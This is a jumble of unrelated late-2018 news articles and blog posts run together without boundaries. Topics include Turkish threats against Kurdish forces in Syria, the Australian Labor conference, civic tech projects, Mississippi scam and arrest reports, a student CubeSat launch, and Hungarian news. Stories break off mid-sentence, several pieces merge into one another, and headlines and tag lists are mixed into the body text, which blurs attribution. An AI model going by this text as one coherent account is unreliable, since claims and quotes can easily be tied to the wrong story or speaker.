Ankaras claims that its planned invasion of Syria was compatible with US interests. Thrusting aside Erdogans statement that Turkeys target is never US soldiers, US officials promptly warned Turkey against attacking Washingtons Kurdish proxies. US Department of Defense spokesman Commander Sean Robertson said: Unilateral military action into northeast Syria by any party, particularly as US personnel may be present or in the vicinity, is of grave concern. We would find any such actions unacceptable. He added, We believe this dialogue is the only way to secure the border area in a sustainable manner, and believe that uncoordinated military operations will undermine that shared interest. Despite the reference to shared interests, powerful forces in Washington saw Ankaras determination to crush the Kurds as a major obstacle to its plans to harness the Kurdish nationalists to Washingtons plans for a military confrontation with Russia and Iran. In a phone call Friday with Erdogan, Trump discussed Turkeys concerns, and the two agreed to continue coordinating to achieve our respective security objectives in Syria, the White House stated. Erdogan denounced the Kurdish nationalist groups as terrorist and demanded a shift in US war policy to accommodate a bloody Turkish assault in Syria. Erdogan spoke at the meeting of the Organization of Islamic Cooperation, warning Washington that 8590 percent of the people living in Manbij are Arabs, but they have completely given it to those terrorist organizations. They have promised us to clear that area and send them east of the Euphrates, but they have not. Now, we say, you either clear it or we enter Manbij Turkey has already lost a lot of time to intervene in the terror swamp east of the Euphrates. From now on, we cannot afford even a one-day delay. Now, with Trumps announcement Wednesday of a withdrawal of US troops from Syria, it appears that Washington is preparing to throw its Kurdish nationalist allies to the wolves, removing obstacles to a Turkish attack. YPG officials have responded by announcing that they may ally with Syrian President Bashar al-Assad to fight off a Turkish invasion of Syria. YPG general commander Sipan Hemo told the London-based Sarkul Avsat newspaper: Turkey is making every effort to destroy the achievements of Kurds and sees it as a priority job. They sent their forces to the border and bombed inside of Syria. He called on the Syrian regime to protect Syrias borders, saying, we are ready to talk about the mechanisms to protect the borders and cooperation against Turkey. Erdogans maneuvers to try to work out a common war strategy with US imperialism in the Middle East are thoroughly reactionary. They pave the way for not only more bloodshed inside Syria, but also Ankaras continued collaboration in Washingtons plans for strategic and military intervention in Eurasia. This weeks three-day Australian Labor Party national conference in Adelaide ended as it began, with anxious warnings that rising anger and frustration in the working class could erupt out of the control of the party and its trade union partners. The trade union movement in our country is sounding an alarm, Australian Council of Trade Unions (ACTU) secretary Sally McManus told the conference at the start of her speech on Tuesday. Working people are crying out for action on insecure work and crying out for fair pay rises. Sally McManus McManus invoked the spectre of a literal tsunami of social unrest. The trade union movement is an early warning sign of the tremors before the waves meet the coast, McManus pleaded. We must take action now. The union bureaucrats are well aware that millions of workers are outraged by soaring social inequality, falling real wages and the destruction of full-time jobs, accompanied by rising rates of casualisation and the ripping up of previously hard-won working conditions. Discontent is building up among young workers, who are suffering the worst exploitation in what the corporate media dubs the new gig economy. Only half of 25-year-old workers have full-time work, despite 60 percent having tertiary education qualifications. McManuss prominent role at the conference, and the content of her presentation, pointed to how closely the party and union leaders are working together to try to suppress working class discontent and channel it behind the return of yet another pro-business Labor government. The ACTU leader was given pride of place on the speakers list, and received a standing ovation from the assembled party and union delegations. Party leader Bill Shorten waived his right to second the moving of the partys industrial relations platform, in order to allocate her the task. McManus warned that unless the role of the unions was bolstered via changes to industrial laws, the discontent of workers would boil over. The anger and frustration will find an outlet, and its already happening, she said. Too many people feel angry. Her remarks paralleled those of party president Wayne Swan and party leader Bill Shorten on the opening day of the conference. Swan said political chaos everywhere you look threatened the political establishment. Shorten warned of mounting distrust and disengagement, scepticism and cynicism. Since being installed as ACTU leader in March 2017, McManus has been depicted by the media as a militant left leader. Yet she lauded Shorten, a hated long-time Australian Workers Union (AWU) bureaucrat who repeatedly betrayed low-paid workerssuch as casual cleanersby signing deals with employers that stripped away their after-hours penalty rates. Bill Shorten Shorten was someone special, who had lived and breathed every day the struggles of workers, McManus enthused. Shorten also helped engineer the removal of Kevin Rudd as prime minister in 2010, as a protected source of the American embassy, in order to align Labor totally behind Washingtons pivot to Asia to combat China. He became a workplace relations super-minister under Julia Gillard, policing the Labor governments anti-strike laws. While McManus portrayed the unions as fighting inequality, low wages and insecure work, she issued a plea for even closer collaboration with big business. The unions were ready to extend the hand of friendship and co-operation to every good employer who also wants to live in a fair society, she emphasised, to loud applause. Shorten broadcast the same message when he spoke at the end of the session to sum up the industrial relations platform. Co-operation, consensus, working together that is the spirit in which we will approach our wages policy, he said. The Labor leader indicated he would try to emulate former Prime Minister Bob Hawke by bringing the unions and employers together at a summit to plan how to impose a new accord on workers. Shorten announced that in his first week as prime minister he would convene meetings with employers and unions to develop a process of getting the wages of Australia moving again. He said Labors industrial relations policy would not simply be a re-run of the prices and incomes accords through which Hawke and his successor, Paul Keating worked in partnership with the ACTU from 1983 to 1996. Shorten said an exact copy was not possible because the labour market had changed dramatically since 1983, particularly because of the vast growth of temporary, casual, part-time and labour-hire employment. What Shorten did not mention, of course, is that the sweeping elimination of full-time work and associated conditions like holiday and sick leave, along with the slashing of jobs, conditions and pay, was a product of the Accords policed by the unions. Subsequent governments, Labor and Coalition, deepened the attacks on the working class. Shorten and McManus both expressed concern that a central mechanism in that process, the enterprise bargaining system introduced by the ACTU and the Keating government in the 1990s, had broken down. Enterprise bargaining is in retreat, Shorten warned, noting that the rate of new agreements struck between unions and employers had fallen to its lowest level since its inauguration. Brendan O'Connor Likewise, shadow workplace relations minister Brendan OConnor said enterprise bargaining was faltering or failing altogether. He said this was causing greater inequality, which was stunting economic growth. In reality, the enterprise bargaining system, which outlaws all strikes except during restricted union-employer bargaining periods at individual workplaces, has been used by the unions to drive down real wages and conditions, and boost corporate profits to a record post-World War II share of national income. The resulting hostility of workers towards the unions has seen their memberships crash to record low levelsaround 10 percent in the private sector. This is the underlying reason for the decline of union-employer enterprise agreements. Most of the corporate media coverage of the Labor Party conference focussed on the danger of a wages breakout via the introduction of a multi-employer bargaining policy by a Labor government. For the past year, the ACTU has been running a phoney Change the Rules campaign, proposing changes to the Fair Work industrial relations legislation to try to restore the unions grip over wide layers of workers. In essence, the unions have called for an incoming Labor government to amend the Fair Work Act, which the last Labor government imposed with the total support of the unions, so they can assert bargaining rights, and therefore control over, entire industries currently with very few union members. The vague resolution agreed by the party and union leaders declared that a Labor government would modify the Fair Work Act to improve access to collective bargaining, including, where appropriate, through multi-employer collective bargaining. To pretend that this policy would assist poorly-paid workers, the resolution said this was a particular issue for industries where employees are low paid and where they lack industrial power. But Shorten and OConnor indicated that multi-employer bargaining could be extended to other industries, as part of Labors bid for a new consensus between business and the unions. To divert attention from this underlying policy, and with an election looming, Shorten reiterated a series of previous cosmetic pledges. He said a Labor government would reverse some cuts to after-hours penalty pay rates for hospitality and retail workers, crack down on casualisation and labour-hire employment, and give the Fair Work Commission authority to grant equal pay to female workers. Labor also would abolish the Liberal-National Coalition governments union watchdogs, the Australian Building and Construction Commission, and the Registered Organisations Commission. This would still leave all workers under the threat of imprisonment or massive fines for taking industrial action outside narrow bargaining periods. With the Coalition government visibly unravelling, Shorten concluded the conference by declaring that Labor and the unions were more united, energised and determined than ever. Behind empty rhetoric about a fair go for all, the Labor and union leaders have used this conference to prepare a government that will seek to stifle and crush the mounting working class unrest. New York City Looks to Partner with Private Sector to Boost Broadband for Underserved Residents Code for America Puts Out Call for 2019 Summit Proposals GovOps: This track looks at how technologists can contribute to culture change in government organization, examining how to transform people and culture within government as well as the principal issues related to things like procurement, security and staffing. Digital Delivery: This track is about the processes, best practices and tools necessary to foster collaborative efforts with entities both in and out of government that can ultimately help public institutions better meet resident needs. Civic Innovation: This track takes the 20,000-foot view of civic tech work, asking what can be done to find new ways related to the work. It also examines how early-stage tech can be used by government while also balancing issues such as privacy related to data. Cook County, Ill. Maps Gun and Overdose Deaths Gilbert, Ariz., Maps Holiday Christmas Lights A New Way to Bee Proactive About Gathering Data Other Civic Tech Coverage This Week Few organizations in the country have more expertise on municipal data work than What Works Cities, a nonprofit group aimed at helping local governments improve the lives of residents through data and evidence-based decision making.When What Works Cities starts talking data, its wise for civic technologists and public servants in the tech space to listen. Such is the case with a recent Medium post Three Perks of Getting Your Citys Data Check-Up by Senior Program Manager Lauren Su and Associate Madeleine Weatherhead. The piece lays out the simple reasons why cities should regularly give their data work a check-up, much as one would get an annual physical or car inspection. These check-ups are available through What Works Cities partner Results for America for any municipality that completes a certification assessment through the group.The three reasons cities should want to do the assessment are as follows: A data check-up helps a city get a better understanding of the practices it has in place; it helps a city delineate clear next steps for its work; and it ultimately gets a city resources that it can subsequently use to bolster its data work. Those resources include access to educational materials and the network of peers, which includes a long list of expert partner groups What Works Cities is also preparing to host a series of sprints next year, in which participating cities can join an eight-week-long process that will see them working with a cohort of like-minded jurisdictions to obtain What Works Cities certification A recent Request for Information from New York City related to connecting underserved residents and small businesses to broadband Internet has yielded more than 50 respondents, the city reported Now, the NYC Mayors Office of the Chief Technology Officer is looking to lock in a public-private partnership that would help it reach its goal of bringing affordable high-speed Internet access to all of its constituents by the year 2025. The RFI, which was issued last November , was met with a long list of respondents, ranging from well-known Internet service providers like AT&T to lesser-known entities involved in work such as digital inclusion and advocating for worker rights. The full list of companies is available online What the city wanted to know was whether the private sector could partner with the local government to help connect the entire jurisdiction while also delivering on five guiding principles: equity, performance, affordability, choice and privacy.Campaigns like this are fairly standard for local and state governments across the country, which in recent years have prioritized obtaining 100 percent broadband access as part of a wider effort to help constituents with digital skills and access so as to stay competitive in the modern economy. New York, with its size and prominence, is of course in a unique situation. An April report from the city notes that more than two-thirds of households have just one or two options for high-speed Internet, while the numbers for small businesses are not much better a reality that limits choice and keeps prices high and connectivity rates low.The next step for New York is an ongoing effort to develop partnerships potentially with many of the groups in the RFI while also identifying the areas of the city in most dire need of better broadband access.Code for America (CfA), a nonprofit and nonpartisan group at the forefront of civic tech work in the country, is looking for session proposals for its annual summit , which is to be held in Oakland, Calif., in late May.With Code for Americas status as a major leader in the civic tech space, its annual summit is essentially a key touchpoint for the state of American civic tech work. To help potential presenters formulate their session proposals, CfA has laid out an early preview of the three topical tracks likely to guide the content at this years event. They are as follows:The deadline to submit session proposals is Jan. 11. The application is on the groups website , along with a list of sessions from the 2018 event that can serve as examples.Cook County, Ill., which is home to Chicago, has used data to address its ongoing gun violence and drug overdoses crises, doing so by mapping the spikes in those problems.The project, which was recently featured as a local government case study by the nonprofit group Results for America , went live in January. It includes public data and accompanying visualizations about opioid and gun-related deaths in the county. Perhaps most impressively, throughout this year the resource ranked as one of the 10 most-visited on the Cook County GIS website, tallying nearly 17,000 visitors.To create the resource, technologists with the county used information from the Cook County Medical Examiners Office. Results for America notes that law enforcement and public health officials can access the data and visualizations in order to obtain timely info capable of driving data-informed decision making that could speed up related work, including investigations and health interventions.The information involved with this project has long been requested by law enforcement agencies, public health advocacy groups and others. As such, Results for America also notes that an added benefit is a decrease in the amount of time that medical examiner staffers must spend processing Freedom of Information Act requests, since the project has already yielded a decrease in those by more than 30 percent between January and October, 2017.On a lighter note (sorry for the pun!), Gilbert, Ariz., has used its own data to map the location of the towns best Christmas light displays.Gilbert, which is in the Phoenix metropolitan area, has done this by using information from its Gilbert 311 app as well as Alex, a municipal chatbot that Gilbert has designated as its data librarian. The end result is a crowd-sourced map of the most festive homes and businesses in the area. The way it was compiled was actually pretty simple. Gilbert 311 users needed only to sign into their accounts, click a button in the 311 app, and upload a photo of their holiday display, tagging it in a category labeled Holiday Lights Map and answering a few quick questions.Alex the chatbot then spent the past month or so (through Jan. 1, actually) highlighting the most festive displays. In traditional Gilbert style , the city enticed higher participation through a holiday ornament giveaway and a social media campaign Data is the life blood of a good many civic tech projects, and, as such, its often beneficial for those in the space to stay up to date on data-gathering methods.For municipal governments, data is being collected these days from a wide range of sensors, affixed to everything from trash cans to street lights. One new and tiny way to collect data has recently been developed: sensor-filled backpacks capable of being attached to bees. A report by the World Economic Forum , an international organization that supports public-private cooperation, describes this tech as a tiny wafer loaded with electronics and a small battery.This project essentially aims to turn bees into a tiny IoT platform, one with use cases that include monitoring the health of fields and other environments via gauging temperature and humidity. Bee-based sensors could also be used to check crops for signs of rot, work that is currently done manually.The tech is, of course, wireless, capable both of being charged and of transmitting data without being plugged in. It was designed by engineers at the University of Washington. The report notes that the scientists were careful to follow best practices for not harming the bees, even if this work does take advantage of them. The tech weighs roughly 102 milligrams, while the full-grown bumblebee it is designed for clocks in at somewhere between two and six times that large.The tech is currently in the prototyping stage with a presentation planned for the ACM MobiCom conference in 2019. The ever-unpredictable President Donald Trump has ordered the withdrawal of the 2,000 US ground troops in Syria who are training local forces to fight ISIS, according to a US defense official who spoke to CNN. This comes after the Trump administration had finally brought some coherence to its Syria strategy under veteran diplomat Ambassador James Jeffrey and retired Army Col. Joel Rayburn, both of whom have deep experience in the region. Armed forces Continents and regions Donald Trump Government and public administration Government bodies and offices ISIS ISIS airstrikes Middle East Middle East and North Africa Military Misc organizations North America Political Figures - US Politics Syria Syria conflict The Americas United States Unrest, conflicts and war US federal government White House Until Wednesday, US policy in Syria was easy to describe: Defeat ISIS, maintain US forces in Syria until Iranian military forces withdraw from the country, and push for a transition away from the government of Bashar al Assad. But news of the withdrawal broke on Wednesday after Trump tweeted, "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency." Just four days ago, Brett McGurk, the special presidential envoy for the global coalition to defeat ISIS, warned against a withdrawal when I interviewed him at the Doha Forum in Qatar on Saturday. While McGurk called ISIS a "significantly degraded organization," he added, "But no one who does this day to day is naive enough to know you can just declare victory and walk away. We have to maintain pressure on these networks really, for a period of years." Pulling US troops out now would be premature and doing so would hand over an unexpected Christmas gift to five American adversaries: Assad, Assad's close allies including Russian President Vladimir Putin and Iran's Supreme Leader Ayatollah Seyyed Ali Khamenei, as well as ISIS and al Qaeda, whose virulent Syrian affiliate goes by a variety of names, including Al Nusra. Head scratching hardly begins to cover it. While Trump has expressed his desire to pull out of Syria before, there were two main arguments that might have held him back. The first: Why replicate the total withdrawal of US troops in Iraq -- first set in motion by President George W. Bush before the Obama administration made the official announcement at the end of 2011 -- which helped set the stage for the return of ISIS? The second: Why hand over Syria to the Russians and the Iranians? It seems these arguments are no longer persuasive to Trump. Unfortunately, according to UN Undersecretary-General for Counter-Terrorism Vladimir Voronkov, who spoke on the panel I moderated at the Doha Forum, there are an estimated 20,000 ISIS fighters left in the world, many of whom are in Iraq and Syria. Then add to that the fact al Qaeda's affiliate and offshoots in Syria are estimated as of August to have 10,000 fighters, according to UN Special Envoy for Syria Staffan de Mistura. If there is one key lesson we have learned from fighting jihadist terrorist groups in the 17 years since 9/11 it is that they thrive in weak or failing Muslim states such as Syria, and other countries where the United States has little to no presence. The Syrian pullout would run the risk of negating so many of the gains that have been made against ISIS. It also leaves the United States' Syrian Kurdish partners, who have done the bulk of the fighting against ISIS, to fend for themselves against the powerful Turkish military, which regards them as terrorists. And we've run a version of this play before. After the United States pulled out of Iraq, the group that later became ISIS first organized in Syria in 2011 before it invaded Iraq three years later and took over territory the size of Great Britain, controlling a population of nearly 12 million. It's mystifying why Trump is risking even a limited repetition of this mistake. JACKSON, Miss. (WTVA) - Mississippi Attorney General Jim Hood is warning Mississippians about an increase in fake phone calls that appear to be from the Social Security Administration (SSA). The scammer asks for the victims Social Security number and money. Jim Hood Jim Hood He says the calls look like they are coming directly from the SSA because scammers have spoofed the SSAs real number: 1-800-772-1213. You should never give out your Social Security number to someone who contacts you because the Social Security Administration will not ask you for that information, Hood said. Here are important reminders: - The SSA will never call and ask for your Social Security number. It wont ask you to pay anything, and it wont call to threaten your benefits. - Your caller ID might show the SSAs real phone number (1-800-772-1213), but thats not the real SSA calling. Computers make it easy to show any number on caller ID. You cant trust what you see there. - Never give your Social Security number to anyone who contacts you. Dont confirm the last 4 digits, and dont give a bank account or credit card number ever to anybody who contacts you asking for it. - Remember that anyone who tells you to wire money, pay with a gift card, or send cash is a scammer. Always. No matter who they say they are. Update 12/20/18 3:21 p.m. The following update was reported by the Associated Press. "I know firsthand what it is like to make a mistake and to accept the consequences for those mistakes," Burton said in a written statement Thursday to The Associated Press. "I respect and applaud law enforcement for always erring on the side of caution. I truly believe this was a misunderstanding." Burton pleaded guilty after a 2014 DUI arrest in Brandon. He was acquitted after a 2016 DUI arrest in Scott County when a judge ruled that cough syrup and breath spray that Burton said he used right after the accident must have called a false positive on a breathalyzer test. Update 12/20/18 11:54 a.m. The Mississippi Highway Patrol has released more information concerning the arrest of Sen. Terry Burton. At approximately 9:12 p.m. Wednesday, troopers responded to a one-vehicle crash on Highway 82, west of Starkville, near Highway 182. Troopers found a pickup truck in a ditch north of Highway 82. Burton was identified as the driver. He was not injured. He was taken to the Oktibbeha County jail and charged with DUI-2nd Offense and failure to maintain proper lane. See the original post below. STARKVILLE, Miss. (WTVA) - A state lawmaker was booked into a local jail on a DUI charge, reports the Starkville Daily News. According to Oktibbeha County jail records, state troopers arrested Sen. Terry Burton Wednesday night at approximately 10:30. He was released on a $1,000 bond, reports the newspaper. This is a developing story. EUPORA, Miss. (WTVA) - Guns, drugs and alleged sex with inmates, part of a slew of felony charges Webster County Sheriff Tim Mitchell is now facing. What's more, employees claim he threatened them to not say anything about it all, according to authorities. Tim Mitchell | Photo: MHP Tim Mitchell | Photo: MHP Mitchell was arrested at his home Wednesday morning around 7 a.m. His charges include: Seeking out sex with two females inmates last spring, ordering a deputy to remove four guns from evidence, and selling or giving at least some to an employee and an inmate. Each one of those charges has some time to serve with it," said Master Sgt. Criss Turnipseed with the Mississippi Highway Patrol. However, how long had this alleged corruption been going on? The Mississippi Bureau of Investigation dates reported wrongdoing dating back to November 2017. Then-Chief Deputy Jeffrey Mann says he resigned at the end of October, writing to the board of supervisors that, After witnessing the illegal activities Sheriff Tim Mitchell has taken part (in), I cannot be part of this organization. District Attorney Doug Evans says charges will be presented to a grand jury. The next one is set for January. If somebody else can come in and do better," said Eupora resident Salina Woodard. "Thats what it needs to be. Mitchell will see a judge Thursday at 3 p.m. for an initial appearance. (TNS) Hundreds of Northeast Ohioans have signed up for access to the Blockchain Research Institutes trove of blockchain research -- for free. You can, too.The Blockchain Institute, headquartered in Toronto, Canada, is home to a multi-million dollar research program on blockchain technology. More than 70 research projects have produced a library of information about possible applications in health, business, banking and more.Cleveland nonprofits and businesses worth than $1 billion can access them for free, thanks to support from the Greater Cleveland Partnership, JumpStart and the Unify Project. Its part of an effort to transform Cleveland into Blockland, a hub for the blockchain industry.Blockland is the brain child of car mogul Bernie Moreno, who this year led a group of Cleveland civic leaders to the Blockchain Institute to convince them of blockchains potential.As of Monday, nearly 350 people have requested to access the research, which could inspire business owners, entrepreneurs and coders see the value in learning about the emerging technology."I think the key thing is (these case studies) put context around the technology, Eric Ward, DriveITs chief learning officer, said.DriveIT, a company which offers certificates and skills training in technology fields, used free access to the institutes research to create two courses in advance of this years Blockland Solutions conference. One was for developers, the other was for people without an information technology background.Interest in blockchain is high, said Ian Schwarber, chief strategy officer for DriveIT. The company added more sessions before the conference because initial offerings sold out.What Schwarber didnt expect was that the majority of interest came from people without a coding background who wanted to know the implications of blockchain for their businesses or creative ideas.Perusing case studies to see what worked and what didnt can save time and money, said Andrew Tasker, the founder and CEO of a digital business accelerator and incubator called Ecosystems of Innovation. He said the research has been so valuable that he would buy access if it wasnt free.One of the companys clients is working on a database that would put together metastatic cancer research from around the world. The Blockchain Research Institute has researched blockchains potential for securing health databases.Things are accelerating so quickly in innovation and blockchain, we use the institutes research as whats happening in the industry, he said.If you want to access to the research, click here to register through JumpStart. (TNS) Middle school students who designed and built a satellite watched their hard work pay off as it launched into space on a SpaceX Falcon 9 rocket this month.Students at The Weiss School built the small satellite over a few three years and tested it at Kennedy Space Center this summer to prepare for the Dec. 3 launch from Vandenberg Air Force Base in California. Some who graduated from the school returned to watch a live stream of the launch.NASA chose 34 educational satellites, called CubeSats, to send into space out of more than 100 proposals. The Weiss School's proposal was the only one NASA picked from a middle school, science teacher Kevin Simmons said.SpaceFlight Industries a ridesharing service for small satellites bought rides on the Falcon 9 rocket and filled it with 64 satellites, including The Weiss School's, Simmons said.The 2.2-pound satellite, known as WeissSat-1, launched four hours and 39 minutes after takeoff, Simmons said.Theo Ouyang, a seventh-grade student, helped make the satellite and integrate it at SpaceFlight Industries' clean room, an environment free of dust or other contaminants, in Seattle."We got to talk to a bunch of professionals in the field, which was exciting," Ouyang said.Students sent extremophile bacteria, which thrive in extreme conditions such as glaciers or volcanoes, into space to see if they can survive.The students are trying to answer the question: Can the extremophile bacteria can survive in the vacuum of space?Dyes will glow green if the bacteria are alive and red if they're dead, Ouyang said.The satellite's frame is made from anodized aluminum, Ouyang said. Solar panels power equipment, and magnets ensure that antennas are pointed in the right direction, Ouyang said.When the satellite is on the sunny side of Earth, the school gets data on temperature and the efficiency of the solar panels. The satellite is 355 to 366 miles from Earth at any given time. For perspective, the International Space Station is 155 to 254 miles from Earth.Five students took it to the Kennedy Space Center for one week in July to test it and get it certified as safe to fly, Simmons said. The satellite cost about $90,000 to build and test.The satellite survived a Transportation Security Administration inspection and a trip through the X-ray machine when the students took it to Seattle. It didn't hurt that one of the TSA agents had seen a news segment about the students and their project, Ouyang and Simmons said.The satellite will burn up in the atmosphere, but not before it transmits several months of data, Ouyang said.The CubeSat project involves science, communication and the arts. Students lobby legislators in Tallahassee and Washington to raise money and awareness for the NASA program that allowed them to get their satellite into space. U.S. Rep. Brian Mast, R-Palm City, helped students draft a resolution in support of the program and then introduced it. It's in the space subcommittee.Lili Szaszvarosi, now a freshman at Alexander W. Dreyfoos School of the Arts, designed a mission coin while a student at The Weiss School. Students Zoe Freedman, Neha Jagadish, Victoria Gismano and Zac Webb created a coloring book that tells the story of the school's satellite launch and then translated it into Spanish. Mandarin teacher Donhui Shi translated the book into Chinese."We try to throw a big net, and we encourage kids to be involved in any capacity," Simmons said.Students have also met with professors and graduate students at Massachusetts Institute of Technology and toured their labs, where they got to see other practical applications of small satellites, eighth-grader Alexa Ernce said. Satellite imagery, for example, can capture shots of algae blocking waterways so that scientists can determine where it's forming and stop it at the source.Teachers at The Weiss School want public school students to have similar opportunities to learn about aerospace by doing it, but they know teachers may lack time, money or industry connections. The private school for gifted students received an $8,000 grant from the NASA Florida Space Grant Consortium to host 10 teachers from schools with high poverty rates, said Shawna Christenson, the school's speech and teacher.While the teachers are strategizing, their students can attend an aerospace, communications and engineering summer camp.Simmons and Christenson hope The Weiss School can involve more students from public schools and send more satellites to space. He divided students into teams this fall, and leaders wrote proposals, each 53 to 63 pages, for other small satellite missions. One proposal was for a moon rover, essentially a CubeSat with wheels and a motor, that will land on the Lake of Death and test super-capacitors on the moon. NASA has used super-capacitors to replace batteries in a cordless drill.Engineers from Aerojet Rocketdyne, an aerospace company with a campus off the Beeline Highway, reviewed the designs and gave students a thumbs up or a thumbs down.NASA will announce the next round of selections in February, Simmons said. WORLAND At a special budget hearing held by the Washakie County Commission on Tuesday, Bob Vines with the county Witness and Victims Office and Allison Funk with the Department of Family Services explained the best use of $5,000 awarded to the county for helping troubled youth. The county currently holds a VOCA grant, and the money added by the state Wyoming Childrens Trust Fund, as announced Tuesday, will go toward helping area youth with alternative activities to help fight negative influences in their lives. The federal Victims of Crime Act (VOCA) provides funding for state and community-based organizations to offer free mental health counseling and a range of other specialized services for crime victims. Currently, the Washakie Prevention Coalition, working in conjunction with the countys recreation boards, is offering vouchers for at-risk youth to attend outside activities, such as yoga and crossfit. The Washakie Prevention Coalition, a group of business, health, educational and legal professionals, meet regularly to discuss community solutions to the growing substance abuse problems with youth and young adults, and seek solutions. The group was formed earlier this year. As explained by Vines before the commission, most of the students in the activities program are referred by school counselors, but a determination called ACE is a common method to determine children in need of mentoring or programs to provide positive influence. According to the Centers for Disease Control, ACEs, or Adverse Childhood Experiences are common in a large percentage of at-risk children, and one in three children reports at least one ACE, with more than three in five reporting there or more ACEs, which can included abuse, exposure to violence or drugs and alcohol and family-related stress. The outcomes of exposure to ACEs include adult alcoholism, depression, suicide and health problems later in life. According to Vines, identifying and intervening early can stem the effects of these childhood experiences. Sometimes all these kids need is a little dose of normal, said Vines. One use of the added money will be a two-day childrens summit, to be held next spring in Worland, with special speakers and health and education professionals. Earlier this year, the county was one of three state recipients of a national DrugFree Communities Support Program grant, awarded through the Substance Abuse and Mental Health Services Administration (SAMHSA) and the White House Office of National Drug Control Policy (ONDCP). The $125,000 grant will support the efforts of the Washakie Prevention Coalition in preventing and reducing youth substance use in Washakie County. The county will also be able to apply for continuation funding over the next four years, for a total award amount of $625,000 over five years. Here is a link to the Federal Commission on School Safety Releases Comprehensive Resource Guide for Keeping Students, Teachers Safe at School. In national news coverage of the document the only item I saw highlighted was the banning of bump-stocks that turn semi-automatic rifles (AR-15) into fully automatic mode. This was done by the Las Vegas shooter back in 2017. Note the National Rifle Association (NRA) will fight the ban. Truth in blogging. I was once a member of the NRA, but as a U.S. Army Infantry Officer, I found their views to be extreme andThere are plenty of other details and content to mull over in the almost 200-page document. I'll highlight two.One is the recommendation to hire more retired law enforcement and military as teachers. I strongly believe in the teaching profession. Did you know my college degree was in education? Elementary and secondary qualified, decades ago, of course. One of the points made was that these individuals would be good in a crisis situation agreed, but I think we first need teachers committed to their students learning, and safety and security aspect might be an added benefit. Arming teachers is not the solution. Parents involved in the lives of their children would be the best outcome I can think of.Then, a first for me, is the calling out of an Obama-era program on reporting disciplinary measures by race. That can be debated all you want. My point is that they are making it clear that they are "killing" another item that was an Obama administration measure by highlighting it in the title of the section. I understand the swing of philosophies, but I've never seen anyone "high-fiving" the reversal in a federal document.Clearly, President Trump is for anything Obama did not support and for eliminating anything that Obama accomplished. The modus operandi is plain to see. If there is blame to be fixed it lands on Obama.I wish I could draw, because the cartoon I would illustrate is this. Little President Trump as a child on the White House lawn and there is an ax, a cherry tree that was cut down and his father asking, "Donald, who cut down the cherry tree?" The Donald's reply would be, "Obama did it!"If you have the skills, draw it for me please! CHEYENNE Hundreds of federal employees in Wyoming could face furloughs next week. Unless Congress and President Donald Trump can break their deadlock over funding for a southern border wall, money for departments like Agriculture, Interior, Treasury and Commerce is set to run out at midnight Friday, leaving scores of locals in limbo. Lawmakers approved money for other parts of the governmen... Despite the current cold snap, the chances of a white Christmas in Budapest are getting slimmer than earlier forecasts suggested, according to an update on meteorological website idokep.hu. The websites Christmas forecast predicts a 20-30% chance of snow on the ground around Christmas near Budapest. Temperatures are expected to rise high enough to melt the existing covering of snow in the city, and to make rain the most likely form of precipitation around the holidays. The highest chance of a white Christmas in Hungary will be around the North Hungarian Mountains, including the Bukk, Matra, and Zemplen ranges (60-80%), idokep.hu says. MTI Photo: Mohai Balazs Bookings are open, as of 18 December, for the new Budapest flight of discount carrier flydubai, scheduled to be operated by the airline registered in the United Arab Emirates from June next year. Although flydubai does not directly belong to the Emirates group, via the so-called code share system passengers from Hungary transferring in Dubai may book seats on Emirates flights, and their hold baggage will be automatically transferred too. Flydubai is to operate the Budapest flight with the most modern Boeing 737-8MAX planes in its fleet of sixty aircraft. The planned schedule is conveniently adjusted to the daily flight of Emirates, as flydubai will depart from Dubai late in the afternoon (at 17:35) to arrive in Budapest at 21:30. The aircraft is to stay here for two hours, and will depart at 23:30, to arrive at Dubai International (DXB) five and a half hours later, at 7:05 local time. On the latest aircraft of flydubai, 10 business seats and 156 economy seats are offered, and the new flight will be operated between the Hungarian capital and the biggest airport of the United Arab Emirates with a daily frequency. Thanks to the arrival in the morning, passengers will comfortably catch Emirates flights departing from Dubai to Australia, Thailand, Japan, and India. flydubai also offers many transfer possibilities via its own network, as they fly to 95 destinations from Dubai, including quite a number of popular ocean-side resorts and exotic destinations in India, Pakistan, and Africa. It is a great pleasure for us to welcome yet another airline to Budapest. Whats more, with flydubai a dynamically developing quality airline is added to our offer which can satisfy passengers needs quite flexibly, said Kam Jandu, chief commercial officer of Budapest Airport. He added, Im positive that flydubais flights will become hugely popular in Hungary, and tourists as well as business travelers will make good use of the opportunities served by the 95 destinations offered by the airline. The new flight to Budapest was announced together with the launch of the Naples route of flydubai. Commenting on the launch, Ghaith Al Ghaith, Chief Executive Officer of flydubai, said: We are delighted to be launching flights to Budapest and Naples. These destinations provide our passengers with more choice on our network while reaffirming our commitment to the vision set by us to create free flows of tourism and strengthen direct airlinks with the UAE. Source & photo: bud.hu The damage caused to Parliament and adjacent Kossuth Square in recent protests adds up to millions of forints (HUF 1m = EUR 3,000), parliaments press chief said. Zoltan Szilagyi said they had no exact figure because the damage was still being assessed, but said that two stained glass and several plain windows had been smashed, the stairs to the main entrance had been sprayed with paint, while the bronze lion figures and candelabra on either side of the entrance were tainted with paint and eggs. Parliaments wall also has innumerable spots of paint or eggs, as well as burn marks, he said, adding that the mast of the flag of the nation was also spray-painted. Szilagyi said that the protesters had dismantled the fence around the nations Christmas tree in Kossuth Square, constructed of sledges meant to be given to needy children; 22 sledges were missing and the trees lights were damaged. Government spokesman Istvan Hollik told another press conference that agents of the Soros network have applied their routine approach of intimidating anyone that has a different opinion. During the demonstrations there were violent provocators and aggressive protesters that collected stones in their backpacks to throw them at police and Parliament; they pepper sprayed officers and threw smoke bombs, Hollik insisted. The government considers all forms of street violence unacceptable and impermissible, the spokesman said. MTI Photo: Monus Marton The act of sharing an article is generally associated with high levels of trust 71 percent of articles that readers indicated they would share received a trust rating between a 4.0 and 5.0, with 5.0 as the maximum rating. Most people wanted to share an article for social or personal reasons, not because they were skeptical of the story. The top reasons for wanting to share were to call attention to the story (44 percent), to express ones interest in the topic (20 percent) and to engage with others (18 percent). Compared with those who would share an article, participants who wanted to engage the article by learning more about it were not as trusting of the news articles they read. In particular, participants who said they would learn more by visiting a fact-checking website or another news website were less trusting than those who said they would learn more by visiting Google or Wikipedia. Consistent with past research, overall trust in media is strongly influenced by a persons political affiliation and the ideology a particular news outlet is associated with. What type of marriage do you have if there is a lack of trust? What type of government do you have if the citizens don't trust their elected officials? What type of religious following do you have if the congregants don't trust their ministry leaders? Trust is important to any relationship, personal or organizational. When workers don't trust management, don't expect high productivity!See the summary below from an email I received. Also, see the 